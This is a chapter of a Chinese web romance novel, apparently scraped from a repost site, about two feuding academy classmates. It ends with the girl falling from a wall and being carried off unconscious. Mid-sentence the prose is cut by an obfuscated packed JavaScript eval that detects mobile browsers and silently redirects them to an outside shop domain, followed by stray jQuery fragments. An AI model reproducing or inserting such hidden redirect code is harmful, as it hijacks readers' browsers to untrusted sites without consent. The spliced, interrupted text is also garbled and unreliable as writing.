晋江文学城首发
《忘掉死对头后他不对劲了》by爆火小南瓜
正午时分,日头正盛,一阵夹带着热气的清风吹过,一树鎏金的花朵随着少女的动作落入土中。
碧空如洗,风过之处,花瓣簌簌纷飞,似镶金的绒球尽落在少女肩上。
谷珈玉正坐在书院的矮墙之上晃荡着两只脚,不时还揪着一旁金合欢的花瓣。
今日午时的饭食太好,她一时没忍住,就多吃了些,书院的屋子里燥热不堪,她就搬了梯子坐在矮墙之上,金合欢的枝头尽数遮住她的身影,也遮住了头顶耀眼的日光,倒是一处乘凉的好地方。
谷珈玉正无聊地靠着树头数着地上的蚂蚁,忽然听到院子里有脚步声传来。
她头都没抬,一猜就知道是谁。
整个弘文书院都知道,奚衔光自小就和她不对付,偏偏这个死对头,又是最了解谷珈玉的人。
春日里正是犯困的时候,午食过后学子都会选择午休一会儿,现在还有精气神跟着自己来这里的,也就只有他奚衔光一人了。
花开得正盛,谷珈玉向上收了收脚,想把自己的整个身子都藏在树后,但仅仅是这个微小的动作,就引得一树的花朵又抖了一抖。
金色的花瓣飘然而下,落入树下少年的掌心之中。
树下少年一袭蓝色锦袍,银色束带勾勒出窄劲的腰身,腰间挂着一块质地上乘的墨色玉佩,系以暗银细绳,走路时几乎听不到声音。
奚衔光生得极好,鼻梁挺直,唇色偏红,一头马尾用发带松松束着,额前碎发微垂,如春日朝阳般热烈。
世家子弟入书院前都会教授礼仪,平日走路除非紧急,都会克制自己的步伐,断不会像奚衔光这样大老远就让谷珈玉听到。
但奚衔光就是故意的,他视力很好,刻意发出声音,果不其然,树后面躲着的少女小心翼翼地开始藏自己的衣裙,反落得一树飞花落入他掌中。
奚衔光捏了捏手中的花瓣,初春时节,正是赏花的好时候,但赏花,哪有逗谷珈玉有意思呢?
少年勾唇浅浅一笑,“谷珈玉,别藏了,我早就看到你了,再藏,这一树的花朵都要被你霍霍了。”
谷珈玉听到奚衔光这般说话,也不藏了,刚刚藏了一会儿,现在她的小脸已经被热得红扑扑的了。
少女睁着圆溜溜的双眼从树后探出头来,直直盯着奚衔光,“奚衔光,你怎么又跟来了,你又要跟夫子告我的黑状吗?”
奚衔光挑眉,“告黑状也要有理由啊,你又做什么了,这么心虚,嗯?”
最后一个“嗯”字尾音上调,透露着几分试探。
谷珈玉看着奚衔光脸上淡淡的笑意,有一瞬间的恍神,想起年少时的他。
要是认真说起来,奚衔光和谷珈玉算得上是青梅竹马。
奚衔光的父亲奚敬言是如今户部五品度支司郎中,谷珈玉的父亲谷凌霄是礼部五品金部司郎中,家里算得上是门当户对。
更巧的是两家住得极近,就住在朱雀大街的南北两端。
奚衔光和谷珈玉自开蒙启学以来,就一直在弘文书院,如今已经是二人认识的第八年了。
当年,八岁的谷珈玉在入学时,偷偷掀开奚衔光的食盒,吃光了他母亲带来的桂花糕。
谷珈玉现在还记得奚衔光当时的表情,巴掌大的小脸气得皱巴巴的,眼睛一圈都红了起来。
“哎,你别哭,你别哭,我明日叫阿娘再做一盒带给你。”
奚衔光面上答应了,但在课上,谷珈玉因为困顿趴在桌子上小憩的时候,毫不犹豫举起手,叫了夫子过来。
谷珈玉一边瞪着奚衔光,一边挨着夫子的手板。
“奚衔光,我讨厌你,我不会再赔你桂花糕了!”
“哼,我才不要呢!”,另一边的少年也不服气地回了一句。
很简单的小事,两人就结下了梁子,自此以后,两人就成了弘文书院内出了名的死对头。
“夫子,谷珈玉刚刚是装病的,她没肚子痛,她就是不想上课而已!”
“夫子,奚衔光昨日的功课是抄的庄祈明的,内容一模一样,根本不是他自己写的!”
有时候宁可伤敌一千,自损八百,“夫子,昨日,我偷偷跑出去的时候,在街上看到奚衔光了!”
两人也经常一起受罚,但这也丝毫没有影响两人的关系。
两人见面不互呛两句,都是不可能的。
谷珈玉此刻盯着奚衔光的脸,忽然间有些说不出话来,只觉得脸上热乎乎的,连带着一起红到了耳朵根。
奚衔光何时长得如此俊秀了?
难道是自己平时只顾着跟他吵架,没仔细看过他的脸吗?
这个想法刚出现,谷珈玉就赶紧摇了摇头。
不对,不对,面前这个人可是自己的死对头,自己怎么能觉得他好看呢,刚刚一定是鬼上身了。
看到谷珈玉愣神,半天不回答,只是呆呆地看着自己的脸,奚衔光也有些不自然,向后挪了一步,用花枝在谷珈玉面前晃了晃。
两人离得很近,奚衔光都能感受到谷珈玉灼热的呼吸,还有她身上自带的清甜的果香味。
“谷珈玉,你想什么呢,怎么不回答我的问题?”
谷珈玉深吸了一口气,一定是天气太热,让自己头脑都不清醒了,她确实有些心虚,因为太困,她早上的晨课没去。
但她还是壮了壮胆子,“我哪有什么心虚的事情,你少在这里瞎猜了,倒是你,你不在房间里午休,老跟着我做什么?”
奚衔光不答,抬头看了看耀眼的日光,小声呢喃了一句,“这天气还真是热。”
说完,他双手抱胸,靠在树干上,将整个背部都靠在树上,这是一个很放松的姿势。
奚衔光也不知道自己怎么了,明知道见到谷珈玉,她不会说什么好听的话,但身体的本能告诉他,靠近谷珈玉,他就是会很放松。
院子的穿堂风再次吹来,将谷珈玉的裙摆吹起,在空中飞扬。
谷珈玉今日穿的是一件对襟齐胸裙,像一个熟透的水蜜桃,上襦是鹅黄色清透的雪纺面料,袖口宽大飘逸,下裙是晕染过的,从腰身的桃粉过渡到下身的橘粉,如同裹了一层春日暖阳在身上。
奚衔光偏头,又是一股熟悉的果香传来,还有谷珈玉袖间的飘带,他抬手捏住一角,又想起谷珈玉刚刚的问题,“我当然是来抓你的小辫子喽!”
谷珈玉瞬间紧张起来,“什么小辫子,你把话说清楚!”
奚衔光现在不着急说了,逗逗谷珈玉好了,“你猜猜?”
谷珈玉在墙头向下看,奚衔光捏着自己的袖带闭目养神,不看自己。
她气得用力扯了扯袖带,少年纹丝不动,但手上的力气却加了三分。
她又揪起一朵花,将花瓣丢在奚衔光脸上,“你快说,你不说的话,我就一直拿花瓣砸你了哦。”
花瓣快要落在奚衔光眼睛上的时候,他睁开了眼睛,躲过了迎面而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659389|207126||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来的花瓣,也放开了手里的袖带。
奚衔光的笑暖融融的,“你不猜就不猜,别拿花撒气,到时候夫子要是发现,他种的花都被你揪掉了,你就等着留下来抄书吧。”
谷珈玉更生气了,冲奚衔光做了个鬼脸,“哼,不要你管!”
奚衔光也不恼,目光灼灼,“要不,你求求我,我考虑考虑,帮你瞒着夫子,你揪他心爱的花这件事,要是我心情好呢,我可以不揭发你逃早课这件事情。”
谷珈玉被看穿,气呼呼的,头上掉落的花瓣也随着她的呼吸起伏。
“我才不求你呢,你怎么什么都知道?”
奚衔光:你的事情,我什么不知道?
他看到谷珈玉这副模样,忍不住开怀笑起来,“我的大小姐,春日火气重,我不过说了两句,还没去夫子那里告发你,怎么就气成这样?”
谷珈玉像一只小猫一样,冲奚衔光耸了耸鼻子,“你尽管去,明日我也定要抓到你的小辫子!”
但只见眼前少年摆了摆手,“算了,想来我胸怀如此宽广,不是那背后告黑状的人。”
眼看着少年转身要走,谷珈玉急忙叫住了他,“不去告状,那你现在要去做什么?”
“午休,顺便喝点菊花茶去去火。”
谷珈玉此时才想起来,午休时间已经过半,自己已经和奚衔光在这里浪费了太多时间了。
墙边的梯子还在,谷珈玉扶着梯子就要下去,但是她着急动身,没注意到裙脚被勾在了花枝之上。
谷珈玉刚踩着梯子下了第一步,下二步的时候,裙摆被扯着,整个人一脚踩空,发出了一声惊呼。
奚衔光此时走出去还没几步,听到身后的惊呼,瞬间转身跑回去。
奚衔光发誓,这是他跑得最快的一次,但也只是在谷珈玉落地之时堪堪接住了她。
少女跌落在他怀里,额角却砸到了地面,混着殷红的血还有地上的污泥,瓷白的小脸上刚刚灵动的表情全无。
奚衔光后怕地看了看地面,幸亏前两日下了点雨,地上都是松软的湿土,不然就按谷珈玉刚刚头朝地摔下来的姿势,破相都是小事,怕是要摔成傻子了。
谷珈玉爬的虽说是矮墙,但高度也不是很低,这么一摔,她感觉整个人的意识都开始模糊了。
浑身现在一点力气都没有,只能虚虚趴扶在奚衔光身上,她能感受到对方在掀开自己的头发,查看她的伤势。
“谷珈玉,你还好吗,还有力气吗?能不能爬起来?我带你去找大夫。”
奚衔光只是正常询问的声音,但听在谷珈玉脑袋里,却感觉这声音放大了数倍。
她忍不住拿拳头轻轻锤了奚衔光一下,“你说话这么大声做什么?惊得我脑袋好痛。”
奚衔光敏锐地察觉到,谷珈玉说话的声音变小了,连眼神都开始有些迷离。
这下他彻底着急了,刚刚那一下肯定摔到脑袋了。
他放低了声音,拍了拍谷珈玉的背,安抚着谷珈玉,“你别怕,我马上带你去找大夫。”
奚衔光搂着谷珈玉,慢慢从地上坐起来,然后将谷珈玉打横抱起来。
奚衔光想尽快走,但又怕走的幅度太大,谷珈玉晃着脑袋疼,只能尽量将她抱得稳稳的。
谷珈玉靠在他怀里,看着奚衔光的下颌,听着他念叨,“你说你,是笨蛋吗?这么低一个矮墙,还能从上面摔下来?”
这是谷珈玉昏迷前听到的最后一句话,这句话之后,她就闭上了眼睛。